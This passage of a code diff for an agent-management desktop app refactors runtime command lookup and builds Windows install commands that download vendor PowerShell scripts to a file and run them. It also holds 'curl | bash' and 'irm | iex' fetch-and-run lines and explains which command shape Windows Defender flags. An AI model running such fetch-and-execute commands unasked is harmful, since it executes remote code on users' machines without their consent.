+pub(crate) use presets::{ + canonical_harness_command, command_for_runtime_id, preset_harness_definitions, + preset_harness_ids, +}; use presets::{preset_catalog_entry, PRESET_HARNESSES}; -pub(crate) use presets::{preset_harness_definitions, preset_harness_ids}; pub(crate) use runtime_metadata::KnownAcpRuntime; const GOOSE_AVATAR_URL: &str = "https://goose-docs.ai/img/logo_dark.png"; @@ -85,7 +88,7 @@ const KNOWN_ACP_RUNTIMES: &[KnownAcpRuntime] = &[ cli_install_commands: &["curl -fsSL https://github.com/aaif-goose/goose/releases/download/stable/download_cli.sh | CONFIGURE=false bash"], // Goose's stable release currently publishes only the Unix installer; // its official Windows instructions intentionally point at this main-branch script. - cli_install_commands_windows: &["powershell.exe -NoProfile -ExecutionPolicy Bypass -Command \"$env:CONFIGURE='false'; irm https://raw.githubusercontent.com/aaif-goose/goose/main/download_cli.ps1 | iex\""], + cli_install_commands_windows: &[windows_install_command!("goose", "https://raw.githubusercontent.com/aaif-goose/goose/main/download_cli.ps1", "$env:CONFIGURE='false'; ")], adapter_install_commands: &[], cli_install_instructions_url: "https://goose-docs.ai/docs/getting-started/installation/", adapter_install_instructions_url: "", @@ -103,6 +106,7 @@ const KNOWN_ACP_RUNTIMES: &[KnownAcpRuntime] = &[ thinking_env_var: Some("GOOSE_THINKING_EFFORT"), max_tokens_env_var: Some("GOOSE_MAX_TOKENS"), context_limit_env_var: Some("GOOSE_CONTEXT_LIMIT"), + max_rounds_env_var: None, required_normalized_fields: &["model", "provider"], login_hint: None, auth_probe_args: None, @@ -117,7 +121,7 @@ const KNOWN_ACP_RUNTIMES: &[KnownAcpRuntime] = &[ mcp_hooks: false, underlying_cli: Some("claude"), cli_install_commands: &["curl -fsSL https://claude.ai/install.sh | bash"], - cli_install_commands_windows: &["powershell.exe -NoProfile -ExecutionPolicy Bypass -Command \"irm https://claude.ai/install.ps1 | iex\""], + cli_install_commands_windows: &[windows_install_command!("claude", "https://claude.ai/install.ps1")], adapter_install_commands: &["npm install -g @agentclientprotocol/claude-agent-acp"], cli_install_instructions_url: "https://code.claude.com/docs/en/getting-started", adapter_install_instructions_url: "https://github.com/agentclientprotocol/claude-agent-acp", @@ -135,6 +139,7 @@ const KNOWN_ACP_RUNTIMES: &[KnownAcpRuntime] = &[ thinking_env_var: None, max_tokens_env_var: None, context_limit_env_var: None, + max_rounds_env_var: None, required_normalized_fields: &[], login_hint: Some("Run the Claude CLI to complete authentication."), auth_probe_args: Some(&["claude", "auth", "status"]), @@ -149,7 +154,7 @@ const KNOWN_ACP_RUNTIMES: &[KnownAcpRuntime] = &[ mcp_hooks: false, underlying_cli: Some("codex"), cli_install_commands: &["curl -fsSL https://chatgpt.com/codex/install.sh | sh"], - cli_install_commands_windows: &["powershell.exe -NoProfile -ExecutionPolicy Bypass -Command \"irm https://chatgpt.com/codex/install.ps1 | iex\""], + cli_install_commands_windows: &[windows_install_command!("codex", "https://chatgpt.com/codex/install.ps1")], adapter_install_commands: &["npm install -g @agentclientprotocol/codex-acp"], cli_install_instructions_url: "https://developers.openai.com/codex/cli/", adapter_install_instructions_url: "https://github.com/agentclientprotocol/codex-acp", @@ -167,6 +172,7 @@ const KNOWN_ACP_RUNTIMES: &[KnownAcpRuntime] = &[ thinking_env_var: None, max_tokens_env_var: None, context_limit_env_var: None, + max_rounds_env_var: None, required_normalized_fields: &[], login_hint: Some("Run `codex login` to authenticate."), // Verified: `codex login status` exits 0 when logged in, non-zero otherwise. @@ -200,6 +206,7 @@ const KNOWN_ACP_RUNTIMES: &[KnownAcpRuntime] = &[ thinking_env_var: Some("BUZZ_AGENT_THINKING_EFFORT"), max_tokens_env_var: Some("BUZZ_AGENT_MAX_OUTPUT_TOKENS"), context_limit_env_var: Some("BUZZ_AGENT_MAX_CONTEXT_TOKENS"), + max_rounds_env_var: Some("BUZZ_AGENT_MAX_ROUNDS"), required_normalized_fields: &["model", "provider"], login_hint: None, auth_probe_args: None, @@ -229,7 +236,7 @@ fn executable_basename(command: &str) -> String { } } -fn normalize_command_identity(command: &str) -> String { +pub(crate) fn normalize_command_identity(command: &str) -> String { let normalized = command.trim().replace('\\', "/"); let basename = normalized.rsplit('/').next().unwrap_or(normalized.as_str()); let lower = basename @@ -278,11 +285,8 @@ pub(crate) fn known_acp_runtime_exact(id: &str) -> Option<&'static KnownAcpRunti /// The agent command a freshly-created agent defaults to when the create /// request supplies none. Resolves the bundled `buzz-agent` from the catalog so /// the default cannot drift from the provider definition. Falls back to the id -/// if the catalog entry is missing. -/// -/// The previous default was the bare global `goose`, which is not on PATH on a -/// stock Windows install: every worker failed with `program not found`. The -/// bundled `buzz-agent` ships with the app and resolves on every platform. +/// if the catalog entry is missing. (Previous default was bare `goose`, which +/// is not on PATH on a stock Windows install; buzz-agent ships with the app.) pub fn default_agent_command() -> String { known_acp_runtime_exact("buzz-agent") .and_then(|p| p.commands.first().copied()) @@ -294,9 +298,10 @@ pub fn default_agent_command() -> String { /// /// Resolution order: /// 1. explicit override (non-empty) — a deliberate per-instance pin; -/// 2. the record's own `runtime` id mapped to its primary command — -/// records materialize their runtime at create/migration time; -/// checks both static builtins AND the loaded preset/custom registry; +/// 2. the record's own `runtime` id mapped to its primary command via the +/// authoritative three-tier lookup (static builtins → static preset list +/// → loaded registry) — preset harnesses (e.g. openclaw) resolve +/// correctly even with a cold registry; /// 3. legacy fallback: the linked persona's `runtime` (records created /// before the unified model carry `persona_id` but no `runtime`); /// 4. `default_agent_command()`. @@ -314,15 +319,11 @@ pub fn record_agent_command( } if let Some(id) = record.runtime.as_deref() { - // Check static builtins first. - if let Some(command) = known_acp_runtime_exact(id).and_then(|r| r.commands.first().copied()) - { - return command.to_string(); - } - // Fall back to loaded registry for preset/custom harnesses. - if let Some(def) = crate::managed_agents::custom_harnesses::lookup_loaded_harness_by_id(id) - { - return def.command.clone(); + // Three-tier lookup: static builtins → static presets → loaded registry. + // Using the shared resolver ensures preset harnesses (e.g. openclaw) + // resolve correctly even without a warm registry. + if let Some(cmd) = presets::command_for_runtime_id(id) { + return cmd; } } @@ -335,8 +336,9 @@ pub fn record_agent_command( /// /// Resolution order: /// 1. explicit override (non-empty) — a deliberate per-instance pin; -/// 2. the linked persona's `runtime` id mapped to its primary command -/// (checks builtins then loaded preset/custom registry); +/// 2. the linked persona's `runtime` id mapped to its primary command via +/// the authoritative three-tier lookup (static builtins → static preset +/// list → loaded registry); /// 3. `default_agent_command()` — no persona/runtime, or persona deleted. pub fn effective_agent_command( persona_id: Option<&str>, @@ -355,15 +357,9 @@ pub fn effective_agent_command( .and_then(|persona| persona.runtime.as_deref()); if let Some(id) = runtime_id { - // Check static builtins first. - if let Some(command) = known_acp_runtime_exact(id).and_then(|r| r.commands.first().copied()) - { - return command.to_string(); - } - // Check loaded preset/custom registry. - if let Some(def) = crate::managed_agents::custom_harnesses::lookup_loaded_harness_by_id(id) - { - return def.command.clone(); + // Three-tier lookup: static builtins → static presets → loaded registry. + if let Some(cmd) = presets::command_for_runtime_id(id) { + return cmd; } } @@ -375,10 +371,8 @@ pub use overrides::{apply_agent_command_update, create_time_agent_command_overri /// Prefix of the typed dangling-harness error produced by /// `try_record_agent_command` / `resolve_effective_harness_descriptor`. -/// -/// This sentinel is an internal Rust contract: user-facing surfaces must -/// convert it to a sentence via [`user_facing_harness_error`] (spawn) or to -/// the missing id via [`dangling_harness_id`] (summary) — never show it raw. +/// Internal Rust contract: surfaces must convert it via [`user_facing_harness_error`] or +/// [`dangling_harness_id`] — never show it raw. pub(crate) const DANGLING_HARNESS_PREFIX: &str = "DANGLING_HARNESS_ID:"; /// Extract the missing harness id from a `DANGLING_HARNESS_ID:` error. @@ -398,22 +392,16 @@ pub(crate) fn user_facing_harness_error(error: &str) -> String { } } -/// Summary-row display for a dangling harness id: shows the *missing* id so -/// the agent list tells the same story as spawn (which refuses with the -/// sentence above), rather than silently falling back to the default command -/// as if the agent were healthy. +/// Summary-row display for a dangling harness id: shows the *missing* id so the agent list +/// tells the same story as spawn rather than silently falling back to the default command. pub(crate) fn dangling_harness_display(id: &str) -> String { format!("harness (deleted): {id}") } /// Spawn-time variant of `record_agent_command` that returns a typed error when -/// a record's `runtime` id or its persona's `runtime` id is set but cannot be -/// resolved (i.e. the definition was deleted after the agent was created). -/// -/// Returns `Err("DANGLING_HARNESS_ID:")` so callers can surface the error -/// without falling through to `buzz-agent`. When there is no runtime id at all -/// the fallback to `default_agent_command()` is intentional (legacy agents -/// pre-date the unified harness model). +/// a record's `runtime` id or persona's `runtime` id is set but unresolvable +/// (definition deleted after agent was created). Returns `Err("DANGLING_HARNESS_ID:")`. +/// When there is no runtime id at all, falls through to `default_agent_command()` intentionally. pub fn try_record_agent_command( record: &crate::managed_agents::types::ManagedAgentRecord, personas: &[crate::managed_agents::types::AgentDefinition], @@ -430,12 +418,8 @@ pub fn try_record_agent_command( // Record-level runtime id: if set but unresolvable → typed error. if let Some(id) = record.runtime.as_deref() { - if let Some(cmd) = known_acp_runtime_exact(id).and_then(|r| r.commands.first().copied()) { - return Ok(cmd.to_string()); - } - if let Some(def) = crate::managed_agents::custom_harnesses::lookup_loaded_harness_by_id(id) - { - return Ok(def.command.clone()); + if let Some(cmd) = presets::command_for_runtime_id(id) { + return Ok(cmd); } return Err(format!("DANGLING_HARNESS_ID:{id}")); } @@ -444,15 +428,8 @@ pub fn try_record_agent_command( if let Some(persona_id) = record.persona_id.as_deref() { if let Some(persona) = personas.iter().find(|p| p.id == persona_id) { if let Some(id) = persona.runtime.as_deref() { - if let Some(cmd) = - known_acp_runtime_exact(id).and_then(|r| r.commands.first().copied()) - { - return Ok(cmd.to_string()); - } - if let Some(def) = - crate::managed_agents::custom_harnesses::lookup_loaded_harness_by_id(id) - { - return Ok(def.command.clone()); + if let Some(cmd) = presets::command_for_runtime_id(id) { + return Ok(cmd); } return Err(format!("DANGLING_HARNESS_ID:{id}")); } @@ -1413,6 +1390,9 @@ fn discover_acp_runtime_phase1(runtime: &'static KnownAcpRuntime) -> PartialEntr model_env_var: runtime.model_env_var.map(str::to_string), provider_env_var: runtime.provider_env_var.map(str::to_string), thinking_env_var: runtime.thinking_env_var.map(str::to_string), + max_tokens_env_var: runtime.max_tokens_env_var.map(str::to_string), + context_limit_env_var: runtime.context_limit_env_var.map(str::to_string), + max_rounds_env_var: runtime.max_rounds_env_var.map(str::to_string), install_hint, install_instructions_url: install_instructions_url.to_string(), can_auto_install, @@ -1571,6 +1551,9 @@ pub fn discover_acp_runtimes_from( model_env_var: None, provider_env_var: None, thinking_env_var: None, + max_tokens_env_var: None, + context_limit_env_var: None, + max_rounds_env_var: None, install_hint: def.install_hint.clone(), install_instructions_url: def.install_instructions_url.clone(), // Security line: custom definitions carry no install scripts. diff --git a/desktop/src-tauri/src/managed_agents/discovery/presets.rs b/desktop/src-tauri/src/managed_agents/discovery/presets.rs index 3622b21c4a..b2d8a14ef0 100644 --- a/desktop/src-tauri/src/managed_agents/discovery/presets.rs +++ b/desktop/src-tauri/src/managed_agents/discovery/presets.rs @@ -67,6 +67,9 @@ pub(super) fn preset_catalog_entry( model_env_var: None, provider_env_var: None, thinking_env_var: None, + max_tokens_env_var: None, + context_limit_env_var: None, + max_rounds_env_var: None, install_hint: def.install_hint.to_string(), install_instructions_url: def.install_instructions_url.to_string(), can_auto_install: false, @@ -199,6 +202,76 @@ pub(crate) fn preset_harness_ids() -> &'static [&'static str] { .as_slice() } +/// Return the primary command for a preset harness by id, or `None` if the id +/// is not a known preset. +/// +/// Returns a `&'static str` so callers can use it without allocation. +pub(super) fn preset_command_for_id(id: &str) -> Option<&'static str> { + PRESET_HARNESSES + .iter() + .find(|p| p.id == id) + .map(|p| p.command) +} + +/// Return the primary harness command for a given runtime id, or `None`. +/// +/// Checks static builtins, then the static preset list (always available, +/// no registry warm-up required — covers openclaw, devin, cursor, etc.), +/// then the loaded preset/custom registry. +pub(crate) fn command_for_runtime_id(id: &str) -> Option { + super::known_acp_runtime_exact(id) + .and_then(|r| r.commands.first().copied()) + .map(str::to_string) + .or_else(|| preset_command_for_id(id).map(str::to_string)) + .or_else(|| { + crate::managed_agents::custom_harnesses::lookup_loaded_harness_by_id(id) + .map(|d| d.command.clone()) + }) +} + +/// Resolve a harness to its canonical command accepting either a runtime id or +/// a command string (including path prefixes and aliases). +/// +/// This is the pin-classification resolver for `apply_persona_snapshot`: the +/// create-time override in `record.agent_command_override` can hold any of the +/// forms a user or the harness selector might have stored — bare command +/// ("goose"), alias ("claude-code-acp"), path ("/usr/local/bin/goose"), or the +/// runtime id directly ("claude"). All three tiers are searched: +/// +/// 1. **Builtins** — `known_acp_runtime(input)` matches by id, command, or +/// alias in `KNOWN_ACP_RUNTIMES`; returns its first primary command. +/// 2. **Static presets** — searched by id or by normalised command. +/// 3. **Loaded registry** — searched by id or by normalised command. +/// +/// Returns `None` for inputs that do not resolve to any known harness; those +/// pins are treated as custom/unknown and always kept. +pub(crate) fn canonical_harness_command(input: &str) -> Option { + let normalized = super::normalize_command_identity(input); + + // Tier 1: builtins — matched by id, command, or alias. + if let Some(rt) = super::known_acp_runtime(&normalized) { + if let Some(cmd) = rt.commands.first() { + return Some(cmd.to_string()); + } + } + + // Tier 2: static presets — matched by id or by normalized command. + if let Some(p) = PRESET_HARNESSES + .iter() + .find(|p| p.id == normalized || super::normalize_command_identity(p.command) == normalized) + { + return Some(p.command.to_string()); + } + + // Tier 3: loaded registry — matched by id or by normalized command. + let reg = crate::managed_agents::custom_harnesses::loaded_harness_registry() + .read() + .unwrap_or_else(|e| e.into_inner()); + reg.iter() + .find(|d| d.id == normalized || super::normalize_command_identity(&d.command) == normalized) + .map(|d| d.command.clone()) +} + #[cfg(test)] mod tests { use std::path::PathBuf; diff --git a/desktop/src-tauri/src/managed_agents/discovery/runtime_metadata.rs b/desktop/src-tauri/src/managed_agents/discovery/runtime_metadata.rs index fdfe9b8be7..34edecdcd9 100644 --- a/desktop/src-tauri/src/managed_agents/discovery/runtime_metadata.rs +++ b/desktop/src-tauri/src/managed_agents/discovery/runtime_metadata.rs @@ -52,6 +52,8 @@ pub(crate) struct KnownAcpRuntime { pub max_tokens_env_var: Option<&'static str>, /// Env var for normalizing `context_limit`. `None` when not applicable. pub context_limit_env_var: Option<&'static str>, + /// Env var for normalizing `max_rounds`. `None` when not applicable. + pub max_rounds_env_var: Option<&'static str>, /// Normalized field keys that must be set for this harness to function. /// Used by the config bridge to mark fields as required in the UI. /// Keys match the camelCase names used in `NormalizedConfig` (e.g. "model", "provider"). diff --git a/desktop/src-tauri/src/managed_agents/discovery/windows_install.rs b/desktop/src-tauri/src/managed_agents/discovery/windows_install.rs new file mode 100644 index 0000000000..09e27a62be --- /dev/null +++ b/desktop/src-tauri/src/managed_agents/discovery/windows_install.rs @@ -0,0 +1,225 @@ +//! Defender-safe construction of the Windows PowerShell CLI install commands. +//! +//! # Why the shape matters +//! +//! Windows Defender's ML classifier flags the bare `irm | iex` command +//! line as `Trojan:Win32/Commando.A!ml` — piping a downloaded string straight +//! into `Invoke-Expression` is a textbook dropper signature, so the *command +//! line itself* is scored, independent of what the URL actually serves. The +//! spawn is denied before PowerShell runs, surfacing as +//! `failed to spawn shell: Access is denied. (os error 5)`, and the block is +//! sticky: Defender's "Allow" button does not clear it. +//! +//! [`windows_install_command!`] emits the two-step form instead — download the +//! vendor script to a file, then execute the file — which does not match that +//! signature. All three runtimes use it, not only the one observed failing: +//! Goose and Claude escaped by scoring under the classifier threshold, which is +//! luck rather than design, and the threshold is not ours to depend on. +//! +//! # Why one macro instead of three literals +//! +//! The catalog needs `&'static str`, so the commands must be built at compile +//! time from literals. Emitting them from a single macro means the security +//! shape is defined once and cannot drift between runtimes as URLs change — +//! a per-runtime literal would let one entry silently regress to `iex`. +//! +//! # Exit-code fidelity +//! +//! [#2892](https://github.com/block/buzz/pull/2892) established that an install +//! step must not report success when the download failed. Two pieces preserve +//! that here, and both are load-bearing: +//! +//! - `$ErrorActionPreference='Stop'` makes a failed `Invoke-RestMethod` +//! terminate the whole command. Without it a failed download falls through to +//! `& $installer` on a path that does not exist, and PowerShell exits **0** — +//! the exact masking #2892 removed, in a new dress. `Stop` also prevents +//! executing a *stale* installer left in `$env:TEMP` by an earlier run. +//! - `exit $LASTEXITCODE` propagates the vendor script's own exit code. Without +//! it PowerShell reports its own status and a vendor failure of `3` flattens +//! to `1`, losing the distinction the retry logic reads. +//! +//! Verified against `pwsh` over a local HTTP server: vendor exit 3 surfaces as +//! 3, vendor exit 0 as 0, a 404 and an unresolvable host as non-zero, and a +//! planted stale installer is never executed. The old `irm | iex` shape +//! produces identical codes for all four, so this is not a behavior change. +//! +//! # Quoting contract +//! +//! The emitted body is wrapped in one double-quote pair, which +//! `install_powershell_command` strips before handing the body to PowerShell. +//! The body therefore uses **only single quotes** internally; a double quote +//! would terminate that pair early and truncate the command. + +/// Build the Windows CLI install command for one runtime. +/// +/// `slug` names the downloaded script (`buzz-install-.ps1`) so concurrent +/// installs of different runtimes cannot overwrite each other's file. The +/// optional third argument carries a runtime's env prefix (Goose's +/// `$env:CONFIGURE='false'; `) and must end with `; `. +/// +/// See the module docs for why each fragment is present. +macro_rules! windows_install_command { + ($slug:literal, $url:literal) => { + windows_install_command!($slug, $url, "") + }; + ($slug:literal, $url:literal, $env_prefix:literal) => { + concat!( + "powershell.exe -NoProfile -ExecutionPolicy Bypass -Command \"", + $env_prefix, + "$ErrorActionPreference='Stop'; ", + "$installer=Join-Path $env:TEMP 'buzz-install-", + $slug, + ".ps1'; ", + "Invoke-RestMethod ", + $url, + " -OutFile $installer; ", + "& $installer; ", + "exit $LASTEXITCODE\"", + ) + }; +} + +#[cfg(test)] +mod tests { + use crate::managed_agents::known_acp_runtime_exact; + + /// Every runtime that ships a Windows install command. `cli_install_commands_windows` + /// is read directly rather than through `cli_install_commands_for_os()` so these + /// assertions cover the Windows strings while running on the Linux CI host. + fn windows_install_commands() -> Vec<(&'static str, &'static str)> { + ["goose", "claude", "codex"] + .into_iter() + .flat_map(|id| { + known_acp_runtime_exact(id) + .expect("runtime must exist in the catalog") + .cli_install_commands_windows + .iter() + .map(move |command| (id, *command)) + }) + .collect() + } + + /// The whole point of the change: no runtime may carry the flagged + /// download-and-execute-in-one-line signature. + #[test] + fn test_no_windows_install_command_pipes_a_download_into_iex() { + for (id, command) in windows_install_commands() { + assert!( + !command.contains("| iex"), + "{id}: `irm | iex` is the shape Defender flags as Trojan:Win32/Commando.A!ml; \ + download to a file and execute the file instead. Got: {command}" + ); + assert!( + !command.contains("Invoke-Expression"), + "{id}: Invoke-Expression on downloaded content carries the same signature. \ + Got: {command}" + ); + } + } + + /// All three runtimes must be hardened, not just the one observed failing. + /// Goose and Claude escaped only by scoring under the classifier threshold. + #[test] + fn test_every_windows_install_command_downloads_to_a_file_then_executes_it() { + let commands = windows_install_commands(); + assert_eq!( + commands.len(), + 3, + "expected exactly one Windows install command for each of goose, claude, codex" + ); + for (id, command) in commands { + assert!( + command.contains("-OutFile $installer"), + "{id}: must download the vendor script to a file. Got: {command}" + ); + assert!( + command.contains("& $installer"), + "{id}: must execute the downloaded file. Got: {command}" + ); + assert!( + command.contains(&format!("buzz-install-{id}.ps1")), + "{id}: script name must be runtime-specific so concurrent installs of \ + different runtimes cannot overwrite each other. Got: {command}" + ); + } + } + + /// Guards the #2892 regression: without `Stop`, a failed download falls + /// through to a missing file and PowerShell exits 0, reporting a failed + /// install as a success. Without `exit $LASTEXITCODE`, the vendor's own + /// exit code is replaced by PowerShell's. + #[test] + fn test_every_windows_install_command_preserves_failure_exit_codes() { + for (id, command) in windows_install_commands() { + assert!( + command.contains("$ErrorActionPreference='Stop'"), + "{id}: a failed download must abort instead of running a missing or stale \ + installer and exiting 0 (see #2892). Got: {command}" + ); + assert!( + command.contains("exit $LASTEXITCODE"), + "{id}: the vendor script's exit code must propagate. Got: {command}" + ); + } + } + + /// `install_powershell_command` strips exactly one outer double-quote pair. + /// An inner double quote would close that pair early and truncate the body. + #[test] + fn test_every_windows_install_command_quotes_the_body_exactly_once() { + for (id, command) in windows_install_commands() { + let body = command + .split_once(" -Command ") + .map(|(_, body)| body) + .unwrap_or_else(|| panic!("{id}: command must pass a -Command body: {command}")); + assert!( + body.starts_with('"') && body.ends_with('"'), + "{id}: body must be wrapped in one double-quote pair. Got: {body}" + ); + assert_eq!( + body.matches('"').count(), + 2, + "{id}: body must contain no inner double quotes — one would terminate the \ + outer pair early and truncate the command. Got: {body}" + ); + } + } + + /// Goose's installer reads `CONFIGURE` to stay non-interactive; losing the + /// prefix hangs the install waiting on input that never comes. + #[test] + fn test_goose_windows_install_command_keeps_its_env_prefix() { + let goose = known_acp_runtime_exact("goose").unwrap(); + let command = goose.cli_install_commands_windows[0]; + assert!( + command.contains("$env:CONFIGURE='false'"), + "goose must stay non-interactive. Got: {command}" + ); + assert!( + command.find("$env:CONFIGURE='false'").unwrap() + < command.find("Invoke-RestMethod").unwrap(), + "the env prefix must be set before the installer runs. Got: {command}" + ); + } + + /// The vendor URLs are the payload; pin them so a refactor of the shared + /// shape cannot silently retarget a download. + #[test] + fn test_windows_install_commands_target_the_official_vendor_urls() { + for (id, expected) in [ + ( + "goose", + "https://raw.githubusercontent.com/aaif-goose/goose/main/download_cli.ps1", + ), + ("claude", "https://claude.ai/install.ps1"), + ("codex", "https://chatgpt.com/codex/install.ps1"), + ] { + let runtime = known_acp_runtime_exact(id).unwrap(); + let command = runtime.cli_install_commands_windows[0]; + assert!( + command.contains(&format!("Invoke-RestMethod {expected} -OutFile")), + "{id}: must download from {expected}. Got: {command}" + ); + } + } +} diff --git a/desktop/src-tauri/src/managed_agents/env_vars.rs b/desktop/src-tauri/src/managed_agents/env_vars.rs index 1653371e7f..07705ee998 100644 --- a/desktop/src-tauri/src/managed_agents/env_vars.rs +++ b/desktop/src-tauri/src/managed_agents/env_vars.rs @@ -224,6 +224,28 @@ pub fn validate_user_env_keys(env_vars: &BTreeMap) -> Result<(), Ok(()) } +/// Returns `true` when `key` is safe to show verbatim — not a credential. +/// +/// Default-deny: every key NOT in this explicit allowlist is masked. Callers +/// that display env values (baked-env UI, spawn-diff tooltip) share this +/// single authority — no second list. +/// +/// Allowlist (case-insensitive): +/// - `BUZZ_AGENT_PROVIDER`, `BUZZ_AGENT_MODEL` — agent runtime selection +/// - `BUZZ_AGENT_THINKING_EFFORT` — non-secret enum (none/minimal/low/medium/high/xhigh/max) +/// - `DATABRICKS_HOST`, `DATABRICKS_MODEL` — Block non-secret defaults +pub(crate) fn is_safe_to_reveal(key: &str) -> bool { + const SAFE_KEYS: &[&str] = &[ + "BUZZ_AGENT_PROVIDER", + "BUZZ_AGENT_MODEL", + "BUZZ_AGENT_THINKING_EFFORT", + "DATABRICKS_HOST", + "DATABRICKS_MODEL", + ]; + let upper = key.to_ascii_uppercase(); + SAFE_KEYS.iter().any(|safe| upper == *safe) +} + /// Per-value byte cap for env values. 32 KiB is generous for credentials, /// JWT-ish tokens, certs etc., but small enough that a malformed IPC /// caller can't blow up the persona/agent JSON file. Tune up if real diff --git a/desktop/src-tauri/src/managed_agents/mod.rs b/desktop/src-tauri/src/managed_agents/mod.rs index 772d707f27..a848b6f02f 100644 --- a/desktop/src-tauri/src/managed_agents/mod.rs +++ b/desktop/src-tauri/src/managed_agents/mod.rs @@ -31,7 +31,7 @@ mod runtime; mod runtime_commands; mod runtime_types; pub(crate) mod snapshot_avatar; -pub(crate) mod spawn_hash; +pub(crate) mod spawn_snapshot; pub(crate) mod storage; pub(crate) mod team_events; mod team_repair; diff --git a/desktop/src-tauri/src/managed_agents/persona_events.rs b/desktop/src-tauri/src/managed_agents/persona_events.rs index 6afc18a501..de396f45c0 100644 --- a/desktop/src-tauri/src/managed_agents/persona_events.rs +++ b/desktop/src-tauri/src/managed_agents/persona_events.rs @@ -450,12 +450,12 @@ pub fn persona_snapshot(persona: &AgentDefinition) -> PersonaSnapshot { /// This is the single apply used by every snapshot-apply site: the spawn /// re-pin (`start_local_agent_with_preflight`), the launch backfill and /// restore re-snapshot (`restore.rs`), and the prospective re-snapshot inside -/// `spawn_config_hash` — so a future `PersonaSnapshot` field addition -/// propagates to all of them at once. +/// `prospective_spawn_config_snapshot` — so a future `PersonaSnapshot` field +/// addition propagates to all of them at once. /// /// Deliberately does NOT touch `updated_at`: persistence stamps are the -/// caller's concern, and `spawn_config_hash` (which applies this to a clone) -/// must stay pure. +/// caller's concern, and the prospective snapshot (which applies this to a +/// clone) must stay pure. pub fn apply_persona_snapshot(record: &mut ManagedAgentRecord, persona: &AgentDefinition) { let snapshot = persona_snapshot(persona); if let Some(prompt) = snapshot.system_prompt { @@ -464,23 +464,42 @@ pub fn apply_persona_snapshot(record: &mut ManagedAgentRecord, persona: &AgentDe record.model = snapshot.model; record.provider = snapshot.provider; record.runtime = snapshot.runtime; - // Drop a stale create-time harness pin when the definition names a - // different known runtime; custom commands stay pinned. - if let Some(def_runtime) = persona + // Drop a stale create-time harness pin when the definition switches to a + // different known runtime (builtin, static preset, or loaded custom). A pin + // that names an unknown/custom command is always kept. + // + // Both sides are resolved through the canonical harness-identity resolver + // (`canonical_harness_command`) which accepts either a runtime id OR a + // command string — covering aliases (e.g. "claude-code-acp"), path prefixes + // ("/usr/local/bin/goose"), and harnesses whose id ≠ command. The persona + // runtime side is resolved via `command_for_runtime_id` (id-only input is + // sufficient there since persona.runtime is always an authoritative id). + // + // Comparison is on canonical primary commands so "goose", "/usr/local/bin/goose", + // and runtime id "goose" all represent the same harness; the stale pin is + // dropped only when the canonical commands differ. + if let Some(new_cmd) = persona .runtime .as_deref() .map(str::trim) .filter(|r| !r.is_empty()) - .and_then(crate::managed_agents::known_acp_runtime_exact) + .and_then(super::command_for_runtime_id) { - if let Some(pin_runtime) = record + if let Some(pin) = record .agent_command_override .as_deref() - .and_then(crate::managed_agents::known_acp_runtime) + .map(str::trim) + .filter(|v| !v.is_empty()) { - if !std::ptr::eq(pin_runtime, def_runtime) { - record.agent_command_override = None; + // Resolve the pin via the canonical resolver (accepts id OR command). + if let Some(pin_cmd) = super::canonical_harness_command(pin) { + if pin_cmd != new_cmd { + // Known harness switched to a different known harness — drop stale pin. + record.agent_command_override = None; + } + // Same harness: keep the pin (e.g. explicit path override for same runtime). } + // Custom/unknown pin: always keep. } } // env_vars stay overrides-only. Self-heal records written before the env @@ -498,8 +517,9 @@ pub fn apply_persona_snapshot(record: &mut ManagedAgentRecord, persona: &AgentDe /// paths re-pin it to its linked persona, without mutating `record` itself. /// /// Every decision made ahead of the real re-pin — the relay-mesh preflight in -/// `start_local_agent_with_preflight`, the restart-badge hash in -/// `spawn_config_hash` — needs to reason about spawn-time state, not +/// `start_local_agent_with_preflight`, the restart-badge snapshot in +/// `prospective_spawn_config_snapshot` — needs to reason about spawn-time +/// state, not /// pre-snapshot bytes, so a persona edit that flips a field (e.g. `provider` /// to/from relay-mesh) between saves is reflected in the decision instead of /// the stale value the real [`apply_persona_snapshot`] is about to overwrite @@ -507,7 +527,7 @@ pub fn apply_persona_snapshot(record: &mut ManagedAgentRecord, persona: &AgentDe /// so the spawn-time stamp and later recomputes agree when nothing changed. /// /// Orphaned records (persona deleted) pass through unchanged: the caller's -/// own orphan handling — refusing to spawn, hashing as `(None, None, None)` +/// own orphan handling — refusing to spawn, snapshotting as `(None, None, None)` /// — runs on the real record downstream, not on this preview. pub fn preview_prospective_persona_snapshot( record: &ManagedAgentRecord, @@ -522,4 +542,6 @@ pub fn preview_prospective_persona_snapshot( preview } #[cfg(test)] +mod stale_pin_tests; +#[cfg(test)] mod tests; diff --git a/desktop/src-tauri/src/managed_agents/persona_events/stale_pin_tests.rs b/desktop/src-tauri/src/managed_agents/persona_events/stale_pin_tests.rs new file mode 100644 index 0000000000..c34ab1739b --- /dev/null +++ b/desktop/src-tauri/src/managed_agents/persona_events/stale_pin_tests.rs @@ -0,0 +1,101 @@ +//! Stale-pin drop tests for `apply_persona_snapshot`. +//! +//! Covers the `canonical_harness_command` resolver used to classify a +//! create-time `agent_command_override` before deciding whether it should be +//! dropped when the persona switches to a different harness. + +use super::tests::{sample_persona, sample_record}; +use crate::managed_agents::persona_events::apply_persona_snapshot; +use crate::managed_agents::types::AgentDefinition; + +// ── Stale-pin drop: OpenClaw↔Goose (preset↔builtin) ───────────────────────── + +/// Persona→OpenClaw: stale Goose override dropped. +/// Regression for the original preset stale-pin fix. +#[test] +fn apply_persona_snapshot_goose_to_openclaw_drops_stale_goose_pin() { + let mut record = sample_record(); + record.agent_command_override = Some("goose".to_string()); + apply_persona_snapshot( + &mut record, + &AgentDefinition { + runtime: Some("openclaw".to_string()), + ..sample_persona() + }, + ); + assert_eq!( + record.agent_command_override, None, + "stale goose pin must be dropped when persona switches to openclaw" + ); +} + +/// Persona→Goose: stale OpenClaw override dropped. +#[test] +fn apply_persona_snapshot_openclaw_to_goose_drops_stale_openclaw_pin() { + let mut record = sample_record(); + record.agent_command_override = Some("openclaw".to_string()); + apply_persona_snapshot( + &mut record, + &AgentDefinition { + runtime: Some("goose".to_string()), + ..sample_persona() + }, + ); + assert_eq!( + record.agent_command_override, None, + "stale openclaw pin must be dropped when persona switches to goose" + ); +} + +// ── Stale-pin drop: alias pin (command ≠ id) ───────────────────────────────── + +/// Persona→OpenClaw; record has a stale `claude-code-acp` alias pin (id="claude", +/// command="claude-agent-acp"). The canonical resolver must recognise the alias +/// as the Claude harness and drop it when the persona switches to a different +/// harness (OpenClaw). +/// +/// This is the correctness case that motivated the `canonical_harness_command` +/// resolver: the old pointer-comparison code treated the alias as a +/// custom/unknown pin and kept it — the agent kept running Claude instead of +/// OpenClaw. +#[test] +fn 